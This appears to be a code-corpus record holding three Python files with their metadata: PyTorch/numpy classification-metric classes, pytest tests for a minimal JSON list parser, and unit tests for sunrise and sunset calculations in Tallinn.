0.784113
0.7643
0
0.040752
0.134939
15,318
276
205
55.5
0.800392
0.084867
0
0.611399
0
0.145078
0.31984
0.285653
0
0
0.035546
0
0.455959
1
0.129534
false
0
0.010363
0
0.26943
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
0519eb5b3557220402876a9adf2c2569977cdaac
33,954
py
Python
evaluation/metrics/classification.py
Bhaskers-Blu-Org2/Distilled-Sentence-Embedding
092b70830564c65a2efe8cadecd5da2d5dfdfba9
[ "MIT" ]
23
2019-12-11T14:52:54.000Z
2021-09-23T16:03:14.000Z
evaluation/metrics/classification.py
Bhaskers-Blu-Org2/Distilled-Sentence-Embedding
092b70830564c65a2efe8cadecd5da2d5dfdfba9
[ "MIT" ]
7
2020-07-17T11:18:48.000Z
2022-03-12T00:05:57.000Z
evaluation/metrics/classification.py
microsoft/Distilled-Sentence-Embedding
7e3e87bf6d854c45fb9e5fde6695aa9524325ae7
[ "MIT" ]
9
2020-01-03T13:26:39.000Z
2021-09-13T12:31:35.000Z
import numpy as np import torch import torch.nn.functional as F from .metric import * """ All classes/methods in this module expect to receive numpy ndarrays (and not pytorch tensors). """ class TopKAccuracyWithLogits(AveragedMetric): """ Top K accuracy metric that receives logits for multiclass classification. """ def __init__(self, k=1): """ :param k: k top results to consider. """ super().__init__() self.k = k def _calc_metric(self, y_pred_logits, y): """ :param y_pred_logits: logits of predictions. :param y: true labels. :return: (Top k accuracy value, num samples in input) """ predictions = np.argsort(-y_pred_logits, axis=1)[:, :self.k] accuracy = (predictions == y.unsqueeze(1)).sum(axis=1).mean().item() return accuracy, len(y) class CrossEntropyLoss(AveragedMetric): """ Cross entropy loss metric. Receives as input the logits of the prediction and the true labels. """ def __init__(self, reduction="mean"): """ :param reduction: reduction method param as supported by PyTorch CrossEntropyLoss. Currently supports 'mean', 'sum' and 'none' """ super().__init__() self.reduction = reduction def _calc_metric(self, y_pred, y): """ Calculates the cross entropy loss. :param y_pred: logits of the predictions. :param y: true labels. :return: (Cross entropy loss value, num samples in input) """ y_pred = torch.from_numpy(y_pred) y = torch.from_numpy(y) loss = F.cross_entropy(y_pred, y, reduction=self.reduction) return loss.item(), len(y) def _numerically_stable_sigmoid(x): pos_mask = (x >= 0) neg_mask = (x < 0) z = np.zeros_like(x, dtype=float) z[pos_mask] = np.exp(-x[pos_mask]) z[neg_mask] = np.exp(x[neg_mask]) top = np.ones_like(x, dtype=float) top[neg_mask] = z[neg_mask] return top / (1 + z) class BinaryClassificationAccuracyWithLogits(AveragedMetric): """ Binary classification accuracy that receives logits. """ def __init__(self, positive_threshold=0.5): """ Threshold value for the predicted probability above which the classification is positive. :param positive_threshold: threshold value between 0 and 1. """ super().__init__() self.positive_threshold = positive_threshold def _calc_metric(self, y_pred_logits, y): """ Calculates the binary classification accuracy. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: (Binary classification accuracy, num samples in input) """ probabilities = _numerically_stable_sigmoid(y_pred_logits) predictions = probabilities > self.positive_threshold divisor = len(y) if len(y.shape) == 1 else y.shape[0] * y.shape[1] return (predictions == y).sum() / divisor, len(y) class BinaryClassificationAccuracy(AveragedMetric): """ Binary classification accuracy that receives probabilities. """ def __init__(self, positive_threshold=0.5): """ Threshold value for the predicted probability above which the classification is positive. :param positive_threshold: threshold value between 0 and 1. """ super().__init__() self.positive_threshold = positive_threshold def _calc_metric(self, y_pred_probabilities, y): """ Calculates the binary classification accuracy. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: (Binary classification accuracy, num samples in input) """ predictions = y_pred_probabilities > self.positive_threshold divisor = len(y) if len(y.shape) == 1 else y.shape[0] * y.shape[1] return (predictions == y).sum() / divisor, len(y) class BCEWithLogitsLoss(AveragedMetric): """ Binary cross entropy loss metric. Receives as input the logit of the positive label and the true label. """ def __init__(self, reduction="mean"): """ :param reduction: reduction method param as supported by PyTorch BCEWithLogitsLoss. Currently supports 'mean', 'sum' and 'none' """ super().__init__() self.reduction = reduction def _calc_metric(self, y_pred, y): """ Calculates the binary cross entropy loss. :param y_pred: logits of the prediction. :param y: true labels. :return: (Binary cross entropy loss value, num samples in input) """ y_pred = torch.from_numpy(y_pred) y = torch.from_numpy(y) loss = F.binary_cross_entropy_with_logits(y_pred, y, reduction=self.reduction) return loss.item(), len(y) class BCELoss(AveragedMetric): """ Binary cross entropy loss metric. Receives as input the probabilities of the positive label and the true label. """ def __init__(self, reduction="mean"): """ :param reduction: reduction method param as supported by PyTorch BCEWithLogitsLoss. Currently supports 'mean', 'sum' and 'none' """ super().__init__() self.reduction = reduction def _calc_metric(self, y_pred, y): """ Calculates the binary cross entropy loss. :param y_pred: probabilities of the prediction. :param y: true labels. :return: (Binary cross entropy loss value, num samples in input) """ y_pred = torch.from_numpy(y_pred) y = torch.from_numpy(y) loss = F.binary_cross_entropy(y_pred, y, reduction=self.reduction) return loss.item(), len(y) class PrecisionWithLogits(Metric): """ Binary classification precision that receives logits. Precision is calculated over all binary labels together (micro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.precision_metrics = Precision(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the precision for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.precision_metrics(probabilities, y) def current_value(self): return self.precision_metrics.current_value() def has_epoch_metric_to_update(self): return self.precision_metrics.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.precision_metrics.reset_current_epoch_values() class Precision(Metric): """ Binary classification precision that receives probabilities. Precision is calculated over all binary labels together (micro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.num_true_positive = 0 self.num_predicted_positive = 0 self.ran_this_epoch = False def __call__(self, y_pred_probabilities, y): """ Calculates the precision for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ self.ran_this_epoch = True predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 true_positives = (y_positives & pred_positives).sum() self.num_true_positive += true_positives predicted_positives = pred_positives.sum() self.num_predicted_positive += predicted_positives return true_positives / (predicted_positives + self.eps) def current_value(self): return self.num_true_positive / (self.num_predicted_positive + self.eps) def has_epoch_metric_to_update(self): return self.ran_this_epoch def reset_current_epoch_values(self): self.num_true_positive = 0 self.num_predicted_positive = 0 self.ran_this_epoch = False class RecallWithLogits(Metric): """ Binary classification recall that receives logits. Recall is calculated over all binary labels together (micro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.recall_metric = Recall(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the recall for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.recall_metric(probabilities, y) def current_value(self): return self.recall_metric.current_value() def has_epoch_metric_to_update(self): return self.recall_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.recall_metric.reset_current_epoch_values() class Recall(Metric): """ Binary classification recall that receives probabilites. Recall is calculated over all binary labels together (micro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.num_true_positive = 0 self.num_positive = 0 self.ran_this_epoch = False def __call__(self, y_pred_probabilities, y): """ Calculates the recall for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ self.ran_this_epoch = True predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 true_positives = (y_positives & pred_positives).sum() self.num_true_positive += true_positives positives = y_positives.sum() self.num_positive += positives return true_positives / (positives + self.eps) def current_value(self): return self.num_true_positive / (self.num_positive + self.eps) def has_epoch_metric_to_update(self): return self.ran_this_epoch def reset_current_epoch_values(self): self.num_true_positive = 0 self.num_positive = 0 self.ran_this_epoch = False class F1ScoreWithLogits(Metric): """ Binary classification F1 score that receives logits. F1 score is calculated over all binary labels together (micro averaging). F1 score is defined as 2PR/(P+R). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.f1_score_metric = F1Score(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the precision for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.f1_score_metric(probabilities, y) def current_value(self): return self.f1_score_metric.current_value() def has_epoch_metric_to_update(self): return self.f1_score_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.f1_score_metric.reset_current_epoch_values() class F1Score(Metric): """ Binary classification F1 score that receives probabilities. F1 score is calculated over all binary labels together (micro averaging). F1 score is defined as 2PR/(P+R). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.precision_metric = Precision(positive_threshold, eps) self.recall_metric = Recall(positive_threshold, eps) def __call__(self, y_pred_probabilities, y): """ Calculates the precision for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ p = self.precision_metric(y_pred_probabilities, y) r = self.recall_metric(y_pred_probabilities, y) return (2 * p * r) / (p + r) if p != 0 or r != 0 else 0 def current_value(self): p = self.precision_metric.current_value() r = self.recall_metric.current_value() return (2 * p * r) / (p + r) if p != 0 or r != 0 else 0 def has_epoch_metric_to_update(self): return self.precision_metric.has_epoch_metric_to_update() and self.recall_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.precision_metric.reset_current_epoch_values() self.recall_metric.reset_current_epoch_values() class PrecisionLabelMacroAveragingWithLogits(Metric): """ Binary classification precision that receives logits. Precision is calculated separately for all binary labels and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.precision_label_macro_metric = PrecisionLabelMacroAveraging(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the label macro averaged precision for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.precision_label_macro_metric(probabilities, y) def current_value(self): return self.precision_label_macro_metric.current_value() def has_epoch_metric_to_update(self): return self.precision_label_macro_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.precision_label_macro_metric.reset_current_epoch_values() class PrecisionLabelMacroAveraging(Metric): """ Binary classification precision that receives probabilities. Precision is calculated separately for all binary labels and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.per_label_num_true_positive = None self.per_label_num_predicted_positive = None self.ran_this_epoch = False def __init_counters(self, y): self.per_label_num_true_positive = np.zeros((y.shape[1],), dtype=np.int) self.per_label_num_predicted_positive = np.zeros((y.shape[1],), dtype=np.int) def __call__(self, y_pred_probabilities, y): """ Calculates the label macro averaged precision for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ self.ran_this_epoch = True if self.per_label_num_predicted_positive is None: self.__init_counters(y) predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 per_label_true_positives = (y_positives & pred_positives).sum(axis=0) self.per_label_num_true_positive += per_label_true_positives per_label_predicted_positives = pred_positives.sum(axis=0) self.per_label_num_predicted_positive += per_label_predicted_positives return self.__calc_macro_averaged_precision(per_label_true_positives, per_label_predicted_positives) def __calc_macro_averaged_precision(self, per_label_true_positives, per_label_predicted_positives): per_label_precision = per_label_true_positives / (per_label_predicted_positives + self.eps) return per_label_precision.mean().item() def current_value(self): return self.__calc_macro_averaged_precision(self.per_label_num_true_positive, self.per_label_num_predicted_positive) def has_epoch_metric_to_update(self): return self.ran_this_epoch def reset_current_epoch_values(self): if self.per_label_num_true_positive is None: return self.per_label_num_true_positive = None self.per_label_num_predicted_positive = None self.ran_this_epoch = False class RecallLabelMacroAveragingWithLogits(Metric): """ Binary classification recall that receives logits. Recall is calculated separately for all binary labels and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.recall_label_macro_metric = RecallLabelMacroAveraging(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the label macro averaged recall for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.recall_label_macro_metric(probabilities, y) def current_value(self): return self.recall_label_macro_metric.current_value() def has_epoch_metric_to_update(self): return self.recall_label_macro_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.recall_label_macro_metric.reset_current_epoch_values() class RecallLabelMacroAveraging(Metric): """ Binary classification recall that receives probabilities. Recall is calculated separately for all binary labels and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.per_label_num_true_positive = None self.per_label_num_positive = None self.ran_this_epoch = False def __init_counters(self, y): self.per_label_num_true_positive = np.zeros((y.shape[1],), dtype=np.int) self.per_label_num_positive = np.zeros((y.shape[1],), dtype=np.int) def __call__(self, y_pred_probabilities, y): """ Calculates the label macro averaged recall for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ self.ran_this_epoch = True if self.per_label_num_true_positive is None: self.__init_counters(y) predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 per_label_true_positives = (y_positives & pred_positives).sum(axis=0) self.per_label_num_true_positive += per_label_true_positives per_label_positives = y_positives.sum(axis=0) self.per_label_num_positive += per_label_positives return self.__calc_macro_averaged_recall(per_label_true_positives, per_label_positives) def __calc_macro_averaged_recall(self, per_label_true_positives, per_label_positives): per_label_recall = per_label_true_positives / (per_label_positives + self.eps) return per_label_recall.mean().item() def current_value(self): return self.__calc_macro_averaged_recall(self.per_label_num_true_positive, self.per_label_num_positive) def has_epoch_metric_to_update(self): return self.ran_this_epoch def reset_current_epoch_values(self): if self.per_label_num_true_positive is None: return self.per_label_num_true_positive = None self.per_label_num_positive = None self.ran_this_epoch = False class F1ScoreLabelMacroAveragingWithLogits(Metric): """ Binary classification F1 score that receives logits. F1 is calculated separately for all binary labels and then averaged (macro averaging). F1 score is defined as 2PR/(P+R). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.f1_score_label_macro_metric = F1ScoreLabelMacroAveraging(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the label macro averaged recall for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.f1_score_label_macro_metric(probabilities, y) def current_value(self): return self.f1_score_label_macro_metric.current_value() def has_epoch_metric_to_update(self): return self.f1_score_label_macro_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.reset_current_epoch_values() class F1ScoreLabelMacroAveraging(Metric): """ Binary classification F1 score that receives probabilities. F1 is calculated separately for all binary labels and then averaged (macro averaging). F1 score is defined as 2PR/(P+R). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.per_label_num_true_positive = None self.per_label_num_positive = None self.per_label_num_predicted_positive = None self.ran_this_epoch = False def __init_counters(self, y): self.per_label_num_true_positive = np.zeros((y.shape[1],), dtype=np.int) self.per_label_num_positive = np.zeros((y.shape[1],), dtype=np.int) self.per_label_num_predicted_positive = np.zeros((y.shape[1],), dtype=np.int) def __call__(self, y_pred_probabilities, y): """ Calculates the label macro averaged recall for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ self.ran_this_epoch = True if self.per_label_num_true_positive is None: self.__init_counters(y) predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 per_label_true_positives = (y_positives & pred_positives).sum(axis=0) self.per_label_num_true_positive += per_label_true_positives per_label_positives = y_positives.sum(axis=0) self.per_label_num_positive += per_label_positives per_label_predicted_positives = pred_positives.sum(axis=0) self.per_label_num_predicted_positive += per_label_predicted_positives return self.__calc_macro_averaged_f1(per_label_true_positives, per_label_positives, per_label_predicted_positives) def __calc_macro_averaged_f1(self, per_label_true_positives, per_label_positives, per_label_predicted_positives): per_label_recall = per_label_true_positives / (per_label_positives + self.eps) per_label_precision = per_label_true_positives / (per_label_predicted_positives + self.eps) per_label_f1_score = (2 * per_label_precision * per_label_recall) / (per_label_precision + per_label_recall + self.eps) return per_label_f1_score.mean().item() def current_value(self): return self.__calc_macro_averaged_f1(self.per_label_num_true_positive, self.per_label_num_positive, self.per_label_num_predicted_positive) def has_epoch_metric_to_update(self): return self.ran_this_epoch def reset_current_epoch_values(self): if self.per_label_num_true_positive is None: return self.per_label_num_true_positive = None self.per_label_num_positive = None self.per_label_num_predicted_positive = None self.ran_this_epoch = False class PrecisionExampleMacroAveragingWithLogits(Metric): """ Binary classification precision that receives logits. Precision is calculated separately for all examples and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.precision_example_macro_metric = PrecisionExampleMacroAveraging(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the example macro averaged precision for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.precision_example_macro_metric(probabilities, y) def current_value(self): return self.precision_example_macro_metric.current_value() def has_epoch_metric_to_update(self): return self.precision_example_macro_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.precision_example_macro_metric.reset_current_epoch_values() class PrecisionExampleMacroAveraging(Metric): """ Binary classification precision that receives probabilities. Precision is calculated separately for all examples and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.example_precisions = [] def __call__(self, y_pred_probabilities, y): """ Calculates the example macro averaged precision for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification precision. """ predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 per_example_true_positives = (y_positives & pred_positives).sum(axis=1) per_example_predicted_positives = pred_positives.sum(axis=1) per_example_precision = per_example_true_positives / (per_example_predicted_positives + self.eps) self.example_precisions.append(per_example_precision) return per_example_precision.mean().item() def current_value(self): return np.concatenate(self.example_precisions).mean().item() def has_epoch_metric_to_update(self): return len(self.example_precisions) != 0 def reset_current_epoch_values(self): self.example_precisions = [] class RecallExampleMacroAveragingWithLogits(Metric): """ Binary classification recall that receives logits. Recall is calculated separately for all examples and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.recall_example_macro_metric = RecallExampleMacroAveraging(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the example macro averaged recall for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.recall_example_macro_metric(probabilities, y) def current_value(self): return self.recall_example_macro_metric.current_value() def has_epoch_metric_to_update(self): return self.recall_example_macro_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.recall_example_macro_metric.reset_current_epoch_values() class RecallExampleMacroAveraging(Metric): """ Binary classification recall that receives probabilities. Recall is calculated separately for all examples and then averaged (macro averaging). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.example_recalls = [] def __call__(self, y_pred_probabilities, y): """ Calculates the example macro averaged recall for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 per_example_true_positives = (y_positives & pred_positives).sum(axis=1) per_example_positives = y_positives.sum(axis=1) per_example_recall = per_example_true_positives / (per_example_positives + self.eps) self.example_recalls.append(per_example_recall) return per_example_recall.mean().item() def current_value(self): return np.concatenate(self.example_recalls).mean().item() def has_epoch_metric_to_update(self): return len(self.example_recalls) != 0 def reset_current_epoch_values(self): self.example_recalls = [] class F1ScoreExampleMacroAveragingWithLogits(Metric): """ Binary classification F1 score that receives logits. F1 is calculated separately for all binary examples and then averaged (macro averaging). F1 score is defined as 2PR/(P+R). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.f1_score_example_macro_metric = F1ScoreExampleMacroAveraging(positive_threshold=positive_threshold, eps=eps) def __call__(self, y_pred_logits, y): """ Calculates the example macro averaged recall for binary classification predictions. :param y_pred_logits: logits of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ probabilities = _numerically_stable_sigmoid(y_pred_logits) return self.f1_score_example_macro_metric(probabilities, y) def current_value(self): return self.f1_score_example_macro_metric.current_value() def has_epoch_metric_to_update(self): return self.f1_score_example_macro_metric.has_epoch_metric_to_update() def reset_current_epoch_values(self): self.f1_score_example_macro_metric.reset_current_epoch_values() class F1ScoreExampleMacroAveraging(Metric): """ Binary classification F1 score that receives probabilities. F1 is calculated separately for all binary examples and then averaged (macro averaging). F1 score is defined as 2PR/(P+R). """ def __init__(self, positive_threshold=0.5, eps=1e-7): self.positive_threshold = positive_threshold self.eps = eps self.example_f1_scores = [] def __call__(self, y_pred_probabilities, y): """ Calculates the example macro averaged recall for binary classification predictions. :param y_pred_probabilities: probabilities of the predictions of size (batch_size, labels). :param y: true labels. :return: Binary classification recall. """ predictions = y_pred_probabilities > self.positive_threshold y_positives = y == 1 pred_positives = predictions == 1 per_example_true_positives = (y_positives & pred_positives).sum(axis=1) per_example_positives = y_positives.sum(axis=1) per_example_predicted_positives = pred_positives.sum(axis=1) per_example_recall = per_example_true_positives / (per_example_positives + self.eps) per_example_precision = per_example_true_positives / (per_example_predicted_positives + self.eps) per_example_f1_score = (2 * per_example_precision * per_example_recall) / (per_example_precision + per_example_recall + self.eps) self.example_f1_scores.append(per_example_f1_score) return per_example_f1_score.mean().item() def current_value(self): return np.concatenate(self.example_f1_scores).mean().item() def has_epoch_metric_to_update(self): return len(self.example_f1_scores) != 0 def reset_current_epoch_values(self): self.example_f1_scores = []
37.601329
150
0.702774
4,223
33,954
5.313521
0.041677
0.03173
0.044922
0.027408
0.909622
0.892642
0.867196
0.858906
0.835955
0.812603
0
0.007956
0.218884
33,954
902
151
37.643016
0.838097
0.267067
0
0.685912
0
0
0.000519
0
0
0
0
0
0
1
0.251732
false
0
0.009238
0.080831
0.471132
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
056d238f0dd3e6933a734a2f31556dff78a179c9
2,470
py
Python
parsing/minijson/test/load_list.py
Lawrence37/algorithms
7e0051ab2fda3faf22d851d23af43781b9ef1d38
[ "MIT" ]
null
null
null
parsing/minijson/test/load_list.py
Lawrence37/algorithms
7e0051ab2fda3faf22d851d23af43781b9ef1d38
[ "MIT" ]
null
null
null
parsing/minijson/test/load_list.py
Lawrence37/algorithms
7e0051ab2fda3faf22d851d23af43781b9ef1d38
[ "MIT" ]
null
null
null
''' Tests for loading lists from JSON ''' import pytest from .. import minijson def _assert_list(obj, size: int = None): assert isinstance(obj, list) if size is not None: assert len(obj) == size def test_empty(): json = '[]' result = minijson.load(json) _assert_list(result, 0) def test_str_1(): json = '["hello"]' result = minijson.load(json) _assert_list(result, 1) assert result[0] == 'hello' def test_str_2(): json = '["hello", "world"]' result = minijson.load(json) _assert_list(result, 2) assert result[0] == 'hello' assert result[1] == 'world' def test_num_1(): json = '[0]' result = minijson.load(json) _assert_list(result, 1) assert result[0] == 0 def test_num_2(): json = '[0, 1.0]' result = minijson.load(json) _assert_list(result, 2) assert result[0] == 0 assert result[1] == 1.0 def test_bad_num(): json = '[0, .]' with pytest.raises(ValueError): minijson.load(json) def test_objects(): json = '[{}, {}]' result = minijson.load(json) _assert_list(result, 2) assert isinstance(result[0], dict) assert isinstance(result[1], dict) assert len(result[0]) == 0 assert len(result[1]) == 0 def test_whitespace_1(): json = ' [ ] ' result = minijson.load(json) _assert_list(result, 0) def test_whitespace_2(): json = '[\n]' result = minijson.load(json) _assert_list(result, 0) def test_whitespace_3(): json = ' [ "hello" ] ' result = minijson.load(json) _assert_list(result, 1) assert result[0] == 'hello' def test_unmatched_bracket_1(): json = '["hello"' with pytest.raises(ValueError): minijson.load(json) def test_unmatched_bracket_2(): json = '"hello"]' with pytest.raises(ValueError): minijson.load(json) def test_unmatched_quote(): json = '["hello]' with pytest.raises(ValueError): minijson.load(json) def test_no_comma(): json = '["hello" "world"]' with pytest.raises(ValueError): minijson.load(json) def test_double_comma(): json = '["hello", , "world"]' with pytest.raises(ValueError): minijson.load(json) def test_leading_comma(): json = '[,"hello", "world"]' with pytest.raises(ValueError): minijson.load(json) def test_trailing_comma(): json = '["hello", "world",]' with pytest.raises(ValueError): minijson.load(json)
19.603175
40
0.610931
314
2,470
4.633758
0.156051
0.081787
0.186942
0.136082
0.704467
0.704467
0.704467
0.704467
0.700344
0.635739
0
0.021175
0.235223
2,470
125
41
19.76
0.749074
0.01336
0
0.505882
0
0
0.081927
0
0
0
0
0
0.270588
1
0.211765
false
0
0.023529
0
0.235294
0
0
0
0
null
0
1
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
55268a311457b2be364dfdf59a1b509b75e7ebd1
2,727
py
Python
test_sunriseset.py
proactivity-lab/py-sunriseset
7a9f1ec6d233d4bd6ebd2cf4f61ec29e53f7b124
[ "MIT" ]
null
null
null
test_sunriseset.py
proactivity-lab/py-sunriseset
7a9f1ec6d233d4bd6ebd2cf4f61ec29e53f7b124
[ "MIT" ]
null
null
null
test_sunriseset.py
proactivity-lab/py-sunriseset
7a9f1ec6d233d4bd6ebd2cf4f61ec29e53f7b124
[ "MIT" ]
null
null
null
import unittest from sunriseset import sun_time, convert_time, ZENITH_OFFICIAL, ZENITH_CIVIL, ZENITH_NAUTICAL, ZENITH_ASTRONOMICAL class SunriseSunsetTest(unittest.TestCase): def test_tallinn(self): print print "Tallinn -----------------------------------------" # 59.433900 24.754900 year = 2016 srise = sun_time(ZENITH_OFFICIAL, True, year, 2, 17, 24.754900, 59.433900, 3) sset = sun_time(ZENITH_OFFICIAL, False, year, 2, 17, 24.754900, 59.433900, 3) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset) srise = sun_time(ZENITH_OFFICIAL, True, year, 2, 17, 24.754900, 59.433900, 0) sset = sun_time(ZENITH_OFFICIAL, False, year, 2, 17, 24.754900, 59.433900, 0) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset) srise = sun_time(ZENITH_OFFICIAL, True, year, 2, 17, 59.433900, 24.754900, 0) sset = sun_time(ZENITH_OFFICIAL, False, year, 2, 17, 59.433900, 24.754900, 0) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset) srise = sun_time(ZENITH_OFFICIAL, True, 2016, 3, 17, 24.754900, 59.433900, 0) sset = sun_time(ZENITH_OFFICIAL, False, 2016, 3, 17, 24.754900, 59.433900, 0) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset) def test_2016(self): print print "Tallinn 2016 -----------------------------------" # 59.433900 24.754900 year = 2016 srise = sun_time(ZENITH_OFFICIAL, True, year, 3, 29, 24.754900, 59.433900, 3) sset = sun_time(ZENITH_OFFICIAL, False, year, 3, 29, 24.754900, 59.433900, 3) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset) srise = sun_time(ZENITH_OFFICIAL, True, year, 3, 30, 24.754900, 59.433900, 3) sset = sun_time(ZENITH_OFFICIAL, False, year, 3, 30, 24.754900, 59.433900, 3) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset) srise = sun_time(ZENITH_OFFICIAL, True, year, 3, 31, 24.754900, 59.433900, 3) sset = sun_time(ZENITH_OFFICIAL, False, year, 3, 31, 24.754900, 59.433900, 3) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset) srise = sun_time(ZENITH_OFFICIAL, True, year, 4, 1, 24.754900, 59.433900, 3) sset = sun_time(ZENITH_OFFICIAL, False, year, 4, 1, 24.754900, 59.433900, 3) print "Sunrise %s(%.6f), sunset %s(%.6f)" % (convert_time(srise), srise, convert_time(sset), sset)
56.8125
114
0.621929
392
2,727
4.183673
0.109694
0.087805
0.186585
0.204878
0.867073
0.867073
0.867073
0.867073
0.831098
0.831098
0
0.17931
0.20242
2,727
47
115
58.021277
0.574713
0.014301
0
0.342857
0
0
0.134451
